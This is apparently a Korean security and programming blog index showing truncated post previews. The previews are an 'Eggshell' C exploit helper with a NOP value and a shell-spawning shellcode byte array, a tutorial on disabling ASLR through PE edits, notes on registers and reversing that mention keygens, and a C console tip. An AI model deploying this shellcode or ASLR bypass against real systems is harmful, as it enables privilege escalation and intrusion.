본문 바로가기

[C] Eggshell Source 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859#include #include #include #define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 256#define DEFAULT_EGG_SIZE 2048#define NOP 0x90 char shellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80""\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\.. 더보기
[Reversing] ASLR 기능 제거하기 이번엔 PE 조작으로 ASLR 우회하는 방법에 대해서 알아보겠습니다. 1. ASLR ( Address Space Layout Randomization ) ASLR 은 PE 파일이 메모리에 로딩될 때 로딩 시작 주소 값을 랜덤하게 바꾸는 기술입니다.또한 DLL 파일도 초기에 로딩되는 주소가 매 실행마다 달라집니다. 윈도우에서는 Vista 버전부터 적용이 됬고 리눅스는 고대 때 부터 적용이 됬던 기술이죠 (원도우는 역시 열발 늦어 ㅋㅋ) 커널 버전으로 보면 123456789101112OS Kernal versionWindows 2000 5.0Windows XP 5.1Windows Server 2003 5.2Windows Vista 6.0 ------------ ASLR 기술 적용 시작Windows Serve.. 더보기
[Reversing] Basic Knowlodge about IA-32 Registry 이번 강의는 리버싱을 배우기전 필수로 외우고 있어야 하는 레지스터에 대해 알아보겠습니다. 1. CPU Register ( CPU 레지스터 ) 먼저 레지스터란 : CPU 내부에 존재하는 다목적 저장 공간입니다. 몇몇분들이 가끔 우리가 흔히 메모리라 말하는 RAM ( Random Acess Memory )과 헷갈리시는 분이 계시는데 (없으면 말고요) 속도면에서 보면 CPU 는 RAM에 있는 데이터를 사용하기 위해서는 물리적으로 먼 거릴 돌아 가야되기 때문에 시간이 오래 걸립니다. 하지만 레지스터는 CPU와 한 몸이기 때문에 고속으로 테이터 처리가 가능하죠 2. Register 는 필수? 위에 언급했듯이 리버싱을 배우기 전 필수로 외우고 있어야 하는 것 중 하나가 Register 입니다. 이유는 일단 우리가 .. 더보기
[Reversing] About Reversing?? 이번 강의에선 간단히 리버싱의 정의와 무엇이 있는지만 알아보겠습니다. 1. 리버싱이란 무엇? 정확히는 리버스 엔지니어링이라 부르죠, 장치 또는 시스템의 기술적인 원리를 이해하며. 단점을 보완하고 새로운 아이디어를 추가시키는 일련의 작업이라 사전적으로 말씀 드릴 수가 있고, 소프트웨어, 프로그램같은 것을 Reverse, 역으로 분석하는 작업을 리버싱 이라 부릅니다. 정의는 이쯤 알아두시고 2. 대표적인 사례 그 다음으로 리버싱을 이용한 대표적인 프로그램들을 예를 들면, 1. Kegen 여러 유명한 프로그램들을 보면 시리얼 키젠 등 이런게 많습니다. 예를들면 포토샵 키젠, 베가스 키젠 등... 이런 프로그램들은 각 프로그램들의 시리얼 알고리즘을 분석 후 그 알고리즘을 토대로 정상적인 키를 출력하는 프로그램 .. 더보기
[C lang] 콘솔창 바로 안 꺼지게 하기 처음 프로그래밍에 접해보시는 분은 잘 모를 수도 있습니다 처음으로 키보드를 두들겨 헬로월드 출력하는 프로그램 코드를 작성하고 컴파일하고 실행/디버깅해보니..!! 바로 꺼지죠? 이런걸 방지하기 위해선 몇개의 명령어를 추가로 써줘도 되고 설정에서 어떤 설정을 바꿔도 되요 는 명령어 추가해 바로 꺼지는걸 막는 방법을 알려드리겠습니다. ㅋ ( 그냥 속편하게 속성 들어가셔서 설정하심이 나아요 ) 방법 1) getchar 명령어 사용하기 이 명령어는 문자 한개를 입력받기 전까지 대기하는 scanf 함수하고 비슷한 함수에요 이 함수는 stdio.h 안에 있고요 ~ 사용은 마지막 줄에 getchar(); 을 넣어주면 됩니다 방법 2 ) getch 명령어 사용하기 getch ... getchar 하고 비슷하죠? 차이점은.. 더보기